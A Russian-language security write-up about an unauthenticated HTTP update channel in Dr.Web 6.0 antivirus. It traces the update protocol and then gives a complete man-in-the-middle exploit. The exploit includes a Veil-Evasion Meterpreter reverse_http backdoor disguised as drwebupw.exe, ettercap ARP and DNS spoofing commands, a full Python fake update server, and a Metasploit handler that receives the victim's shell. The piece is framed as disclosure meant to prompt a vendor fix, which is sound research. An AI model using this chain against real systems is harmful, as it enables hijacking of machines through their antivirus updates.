В этой статье я хочу более подробно рассказать о проблемах протокола обновления в антивирусе Dr.Web, благодаря чему, в случае перехвата трафика, становится возможным подмена компонентов антивируса и выполнение произвольного кода. Информацию об уязвимости я впервые увидел в материалах конференции SyScan2014 в презентации Breaking Antivirus Software (Joxean Koret), и т.к. факт наличия уязвимости уже известен, то особого смысла в еще одной публикации не было. По крайне мере, до одного момента.

В обсуждении статьи «Данные около 70 000 карт были скомпрометированы на платежном шлюзе РЖД» меня искренне удивила реакция некоторых читателей, и предположительно одного из сотрудников компании Dr.Web, который отказался признавать наличие проблем в ПО. Поэтому, было решено самому разобраться в деталях, а также проверить возможность эксплуатации. Надеюсь, эта публикация поспособствует скорейшему исправлению ситуации.

Исходные данные:

В качестве «подопытного» выбран Dr.Web версии 6.0, как обладающий множеством сертификатов: ФСТЭК, ФСБ, Минобороны РФ. Остальные версии не рассматривались, так что, возможно в них присутствуют аналогичные проблемы, а возможно и нет. В ходе эксперимента все настройки антивируса выставлены по-умолчанию, встроенная защита НЕ отключалась. В качестве операционной системы используется Windows 7.

Подробный список программных модулей антивируса и их версий на момент тестирования
  • Dr.Web ® Virus-Finding Engine drweb32.dll (7.00.9.04080)
  • Dr.Web ® Scanning Engine dwengine.exe (7.0.1.05020 (Build 9393))
  • Dr.Web ® Windows Action Center Integration dwsewsc.exe (7.0.1.05020 (Build 9393))
  • Dr.Web File System Monitor spiderg3.sys (6.0.10.12290)
  • Dr.Web Protection for Windows dwprot.sys (7.0.0.08090)
  • SpIDer Agent for Windows spideragent.exe (6.0.5.10310)
  • SpIDer Agent admin-mode module for Windows spideragent_adm.exe (6.0.5.10310)
  • SpIDer Agent settings module for Windows spideragent_set.exe (6.0.5.10310)
  • SpIDer Mail ® for Windows Workstation spiderml.exe (6.0.3.08040)
  • SpIDer Mail ® for Windows Workstation settings module spml_set.exe (6.0.3.08040)
  • Dr.Web Winsock Provider Hook drwebsp.dll (6.0.1.04140)
  • Dr.Web Winsock Provider Hook drwebsp64.dll (6.0.1.04140)
  • Dr.Web© Scanner for Windows drweb32w.exe (6.00.16.01270)
  • Dr.Web ® Console Scanner dwscancl.exe (7.0.1.05020 (Build 9393))
  • Dr.Web ® Shell Extension drwsxtn.dll (6.00.1.201103100)
  • Dr.Web ® Shell Extension drwsxtn64.dll (6.00.1.201103100)
  • Dr.Web Updater for Windows drwebupw.exe (6.00.15.201301210)
  • Dr.Web Helper drwreg.exe (6.00.12.201102110)
  • Dr.Web SysInfo dwsysinfo.exe (7.00.3.201204270)
  • DrWeb ® Quarantine Manager dwqrui.exe (7.0.1.05020 (Build 9393))
  • Dr.Web Adds-on unpacker drwadins.exe (6.00.0.02270)
  • Dr.Web ® for Microsoft Outlook Settings drwebsettingprocess.exe (6.00.0.201101130)
  • Dr.Web ® for Microsoft Outlook Messages drwmsg.dll (6.00.0.201101130)
  • Dr.Web ® for Microsoft Outlook drwebforoutlook.dll (6.00.0.201101130)



Для эксплуатации уязвимости необходимо, чтобы атакующий имел возможность перенаправления трафика пользователя (например, вследствие подмены DNS-сервера, отравления ARP кэша или как-то еще). Для простоты эксперимента, в тестовой среде компьютеры клиента и злоумышленника находятся в одной сети:


Описание уязвимости

Для скачивания обновлений со своих серверов, Dr.Web использует http протокол, т.е. данные передаются в открытом виде.
Список серверов обновления
  • update.geo.drweb.com
  • update.drweb.com
  • update.msk.drweb.com
  • update.us.drweb.com
  • update.msk5.drweb.com
  • update.msk6.drweb.com
  • update.fr1.drweb.com
  • update.us1.drweb.com
  • update.kz.drweb.com
  • update.nsk1.drweb.com


Процесс выполняется в следующей последовательности:
  1. Запрос метки времени — timestamp
    Пример запроса
    GET /x64/600/av/windows/timestamp
    HTTP/1.1 Accept: */*
    Host: update.drweb.com
    X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
    X-DrWeb-KeyNumber: 0110258647
    X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
    User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
    Connection: Keep-Alive
    Cache-Control: no-cache

    HTTP/1.1 200 OK
    Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:36 GMT
    Content-Type: application/octet-stream
    Content-Length: 10
    Last-Modified: Sat, 19 Apr 2014 09:26:19 GMT
    Connection: keep-alive
    Accept-Ranges: bytes

    1397898695

  2. Запрос дополнительной информации (актуальная версия антивируса и некоторые другие данные) – файл drweb32.flg
    Пример запроса
    GET /x64/600/av/windows/drweb32.flg HTTP/1.1
    Accept: */*
    Host: update.drweb.com
    X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
    X-DrWeb-KeyNumber: 0110258647
    X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
    User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
    Connection: Keep-Alive
    Cache-Control: no-cache

    HTTP/1.1 200 OK
    Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:37 GMT
    Content-Type: application/octet-stream
    Content-Length: 336 Last-Modified: Wed, 23 Jan 2013 09:42:21 GMT
    Connection: keep-alive
    Accept-Ranges: bytes [windows]

    LinkNews=http://news.drweb.com/flag+800/
    LinkDownload=http://download.geo.drweb.com/pub/drweb/windows/8.0/drweb-800-win.exe
    FileName=
    isTime=1
    TimeX=1420122293
    cmdLine=
    Type=1
    ExcludeOS=2k|xp64
    ExcludeDwl=ja
    ExcludeLCID=17|1041
    [signature]
    sign=7077D2333EA900BCF30E479818E53447CA388597B3AC20B7B0471225FDE69066E8AC4C291F364077

  3. Запрос списка обновляемых компонентов системы – файл drweb32.lst.lzma
    Пример запроса
    GET /x64/600/av/windows/drweb32.lst.lzma HTTP/1.1
    Accept: */*
    Host: update.drweb.com
    X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
    X-DrWeb-KeyNumber: 0110258647
    X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
    User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
    Connection: Keep-Alive Cache-Control: no-cache

    HTTP/1.1 200 OK
    Server: nginx/42
    Date: Sat, 19 Apr 2014 10:33:39 GMT
    Content-Type: application/octet-stream
    Content-Length: 2373
    Last-Modified: Sat, 19 Apr 2014 10:23:08 GMT
    Connection: keep-alive
    Accept-Ranges: bytes

    ].....#.......-.
    ..x.3..x. .**..C.......d...X..7..vB.*P]c...<....^.,.2..c.?.>y....!.(,..*...sA.U.pM..,.......hG....j.*.............F...:. ..!Z.....h..}...(Y1k.....}...F..-....J...............|...3.;.....5.."...S.K`.)
    .Kjx$,....u.5..~.}UX.E… (другие данные опущены)

    Запрашиваемый файл представляет собой архив, сжатый по алгоритму lzma (используется в 7-Zip). После распаковки сам файл выглядит примерно так:
    [DrWebUpdateList]
    [500]
    +timestamp, 8D17F12F
    +lang.lst, EDCB0715
    +update.drl, AB6FA8BE
    +drwebupw.exe, 8C879982
    +drweb32.dll, B73749FD
    +drwebase.vdb, C5CBA22F
    …
    +<wnt>%SYSDIR64%\drivers\dwprot.sys, 3143EB8D
    +<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwengine.exe, 8097D92B
    +<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwinctl.dll, A18AEA4A
    ...
    [DrWebUpdateListEnd]
    

    Шестнадцатеричные значения рядом с именами файлов представляют собой контрольные суммы файлов, вычисленные по алго��итму crc32. В данном случае, контрольные суммы используются для поддержания «версионности» файлов.
    Также можно увидеть, что механизм обновлений может использовать переменные среды, вроде %CommonProgramFiles%, %SYSDIR64% и т.д. – т.е. файлы можно заливать не только в папку Dr.Web, но и другие системные директории

  4. Скачивание файлов
    Пример запроса
    GET /x86/600/av/windows/dwrtoday.vdb HTTP/1.1
    Accept: */*
    Host: update.drweb.com
    X-DrWeb-Validate: 741d1186c47dc500ab5a60629579d8cf
    X-DrWeb-KeyNumber: 0110242389
    X-DrWeb-SysHash: 08AA5F775FD38D161E2221928D10903F
    User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7600)
    Connection: Keep-Alive
    Cache-Control: no-cache

    HTTP/1.1 200 OK
    Server: nginx/42
    Date: Sat, 19 Apr 2014 02:02:36 GMT
    Content-Type: application/octet-stream
    Content-Length: 5712
    Last-Modified: Sat, 19 Apr 2014 01:31:32 GMT
    Connection: keep-alive
    Accept-Ranges: bytes

    Dr.Web ® version 4.20+ Anti-Virus Database
    Copyright © by Igor Daniloff, 1998-2014
    Created by Doctor Web Anti-Virus Labs, St.Petersburg
    IDRW4...CR/.U.._.C..9G.~\J....6G....}u...y$_naykP...x...........h… ................J.....QS................7..(другие данные опущены)

    В том случае, если контрольные суммы файлов из полученного списка обновления отличаются от используемых, то клиент запрашивает патч существующего:
    GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f 
    

    Если патч получить не удается или файла ранее не было в системе, то идет запрос на новый файл целиком:
    GET /x64/600/av/windows/drwebupw.exe
    

    Обновляемые файлы также идут без каких-либо проверок, в открытом виде, либо просто запакованые lzma.

  5. Обновление файлов
    После процедуры скачивания файлов, происходит замена старых. При этом дополнительных проверок так��е не производится. Например, как будет показано далее, Dr.Web без проблем принял сгенерированный пэйлоад из метасплойта вместо родного drwebupw.exe.

На этом в принципе все. Как можно заметить, никаких проверок на оригинальность обновления не проводится и можно попробовать провести MitM атаку и подменить файлы на свои.

Эксплуатация

  1. Создаем собственный бэкдор, который бы выполнился на компьютере-клиенте и передал управление злоумышленнику. Для этого можно использовать нагрузку Meterpreter из проекта Metasploit Framework, дополнительно прогнав через Veil-Evasion для обхода антивируса. На выходе получаем файл drwebupw.exe, который в дальнейшем заменит оригинальный компонент антивируса клиента при обновлении.
    Процесс создания бэкдора (c/meterpreter/rev_http )
    =========================================================================
     Veil-Evasion | [Version]: 2.7.0
    =========================================================================
     [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    =========================================================================
    
     Main Menu
    
    	29 payloads loaded
    
     Available commands:
    
    	use         	use a specific payload
    	info        	information on a specific payload
    	list        	list available payloads
    	update      	update Veil to the latest version
    	clean       	clean out payload folders
    	checkvt     	check payload hashes vs. VirusTotal
    	exit        	exit Veil
    
    [>] Please enter a command: list
    
     [*] Available payloads:
    
    	1)	auxiliary/coldwar_wrapper
    	2)	auxiliary/pyinstaller_wrapper
    
    	3)	c/meterpreter/rev_http  
    	4)	c/meterpreter/rev_http_service
    	5)	c/meterpreter/rev_tcp   
    	6)	c/meterpreter/rev_tcp_service
    	7)	c/shellcode_inject/virtual
    	8)	c/shellcode_inject/void 
    
    	9)	cs/meterpreter/rev_tcp  
    	10)	cs/shellcode_inject/base64_substitution
    	11)	cs/shellcode_inject/virtual
    
    	12)	native/Hyperion         
    	13)	native/backdoor_factory 
    	14)	native/pe_scrambler     
    
    	15)	powershell/shellcode_inject/download_virtual
    	16)	powershell/shellcode_inject/psexec_virtual
    	17)	powershell/shellcode_inject/virtual
    
    	18)	python/meterpreter/rev_http
    	19)	python/meterpreter/rev_http_contained
    	20)	python/meterpreter/rev_https
    	21)	python/meterpreter/rev_https_contained
    	22)	python/meterpreter/rev_tcp
    	23)	python/shellcode_inject/aes_encrypt
    	24)	python/shellcode_inject/arc_encrypt
    	25)	python/shellcode_inject/base64_substitution
    	26)	python/shellcode_inject/des_encrypt
    	27)	python/shellcode_inject/flat
    	28)	python/shellcode_inject/letter_substitution
    	29)	python/shellcode_inject/pidinject
    [>] Please enter a command: use 3
    [>] Please enter a command: set LHOST 10.0.1.106
    [>] Please enter a command: generate
    [>] Please enter the base name for output files: drwebupw
    [*] Executable written to: /root/veil-output/compiled/drwebupw.exe
    


  2. Используя arp-спуфинг, перенаправляем запросы клиента на хост злоумышленника. В качестве инструмента можно использовать утилиту ettercap и модуль dns_spoof. Добавляем хосты, используемые для обновления Dr.Web в список перенаправления ettercap. В принципе достаточно одного адреса update.geo.drweb.com (т.к. он проверяется первым):
    echo “update.geo.drweb.com A 10.0.1.106” >> /etc/ettercap/etter.dns
    

    Далее запускаем непосредственно процедуру отравления arp-кэша и подмены dns:
    ettercap -i eth0 -T -P dns_spoof -M arp:remote /10.0.1.1/ /10.0.1.102/
    

    Таким образом, трафик после эксплуатации пойдет по следующей схеме:

  3. Эмулируем сервер обновления Dr.Web для выдачи клиенту специально подготовленного файла. Для этого был написан небольшой python-скрипт, который:
    1. Принимает входящее соединение
    2. Формирует метку времени и отвечает на запрос timestamp
    3. Формирует файл с дополнительной информацией drweb32.flg
    4. Формирует файл со списком обновлений и запаковывает его в lzma архив drweb32.lst.lzma
    5. Отдает фейковое обновление на запрос клиента

    drweb_http_server.py
    #!/usr/bin/python
    #encoding: utf-8
    
    import SocketServer
    import SimpleHTTPServer
    import time
    import lzma
    import os
    import binascii
    
    from struct import *
    from subprocess import call
    
    #Непосредственно обработчик http запросов от клиента Dr.Web
    class HttpRequestHandler (SimpleHTTPServer.SimpleHTTPRequestHandler):
        def do_GET(self):
    
            if 'timestamp' in self.path:
    	    self.send_response(200)
                self.end_headers()
                self.wfile.write(open('timestamp').read())
    
            elif 'drweb32.flg' in self.path:
                self.send_response(200)
                self.end_headers()
                self.wfile.write(open('drweb32.flg').read())
    
            elif 'drweb32.lst.lzma' in self.path:
                self.send_response(200)
                self.end_headers()
                self.wfile.write(open('drweb32.lst.lzma').read())
    
            elif UPLOAD_FILENAME + '.lzma' in self.path:
                self.send_response(200)
                self.end_headers()
                self.wfile.write(open(UPLOAD_FILENAME + '.lzma').read())
    	
    	#Клиент первоначально запрашивает патч для обновившегося файла, 
            #а если не получает его - запрашивает файл целиком
            elif UPLOAD_FILENAME + '.patch' in self.path:
                self.send_response(404)
                self.end_headers()
    
            else:
                print self.path
    
    def CRC32_from_file(filename):
        buf = open(filename,'rb').read()
        buf = (binascii.crc32(buf) & 0xFFFFFFFF)
        return "%08X" % buf
    
    def create_timestamp_file():
        with open('timestamp','w') as f:
            f.write('%s'%int(time.time()))
    
    def create_lst_file(upload_filename,upload_path):
        # upload_path может принимать:
        # пустые значения, что значит что файл находится непосредственно в директории Dr.Web
        # либо значения вида <wnt>%SYSDIR64%\drivers\, <wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\ и т.д.
     
        crc32 = CRC32_from_file(upload_filename)
        with open('drweb32.lst','w') as f:
            f.write('[DrWebUpdateList]\n')
            f.write('[500]\n')
            f.write('+%s, %s\n' % (upload_path+upload_filename,crc32))
            f.write('[DrWebUpdateListEnd]\n')
    
    #по какой-то причине встроенная в Linux утилита lzma в создаваемом файле не указывает размер исходного файла
    #без этого параметра Dr.Web отказывается принимать файлы, поэтому правим руками
    def edit_file_size(lzma_filename,orig_filename):
        file_size = os.stat(orig_filename).st_size
        with open(lzma_filename,'r+b') as f:
            f.seek(5)
            bsize = pack('l',file_size)
            f.write(bsize)
    
    #загружаемый файл должен находится в одной папке со скриптом
    UPLOAD_FILENAME = 'drwebupw.exe'
    
    #создаем метку времени
    create_timestamp_file()
    
    #создаем файл со списком обновляемых файлов, для упаковки в lzma используем встроенную утилиту
    create_lst_file(UPLOAD_FILENAME,'')
    call(['lzma', '-k', '-f','drweb32.lst'])
    edit_file_size('drweb32.lst.lzma','drweb32.lst')
    
    #архивируем файл с фейковым обновлением
    call(['lzma', '-k', '-f',UPLOAD_FILENAME])
    edit_file_size(UPLOAD_FILENAME + '.lzma',UPLOAD_FILENAME)
    
    print 'Http Server started...'
    httpServer=SocketServer.TCPServer(('',80),HttpRequestHandler)
    httpServer.serve_forever()
    


    При запуске, скрипт начнет принимать соединения и в ответ на запрос обновления выдаст фейковое обновление для файла drwebupw.exe
    python drweb_http_server.py 
    Http Server started...
    10.0.1.102 - - [20/Apr/2014 10:48:24] "GET /x64/600/av/windows/timestamp HTTP/1.1" 200 -
    10.0.1.102 - - [20/Apr/2014 10:48:24] "GET /x64/600/av/windows/drweb32.flg HTTP/1.1" 200 -
    10.0.1.102 - - [20/Apr/2014 10:48:26] "GET /x64/600/av/windows/drweb32.lst.lzma HTTP/1.1" 200 -
    10.0.1.102 - - [20/Apr/2014 10:48:27] "GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f HTTP/1.1" 404 -
    10.0.1.102 - - [20/Apr/2014 10:48:27] "GET /x64/600/av/windows/drwebupw.exe.lzma HTTP/1.1" 200 –
    

    Клиент успешно его примет и перезапишет оригинальный компонент:

  4. Запускаем обработчик соединения от бэкдора:
    $ msfconsole
    
    msf > use exploit/multi/handler 
    msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http
    PAYLOAD => windows/meterpreter/reverse_http
    msf exploit(handler) > set LHOST 10.0.1.106
    LHOST => 10.0.1.106
    msf exploit(handler) > set LPORT 8080
    LPORT => 8080
    msf exploit(handler) > run
    
    [*] Started HTTP reverse handler on http://10.0.1.106:8080/
    [*] Starting the payload handler...
    


    Если все прошло нормально, то при очередной попытке обновиться, от клиента придет коннект:

    На этом можно считать, что хост клиента скомпрометирован – мы получили доступ к файловой системе, возможность выполнять любые команды и т.д. Можно было действовать не так топорно, а лишь изменить некоторый функционал антивируса и таким образом оставаться незаметным более долгое время.


Выводы

Как было показано выше, уязвимость в Dr.Web 6 действительно присутствует и подобные атаки вполне могут быть реализованы и в боевых условиях. Так что остается надеяться на трезвый взгляд компании-разработчика. Писать о реальной бесполезности сертификации не буду, уже не раз обсуждалось.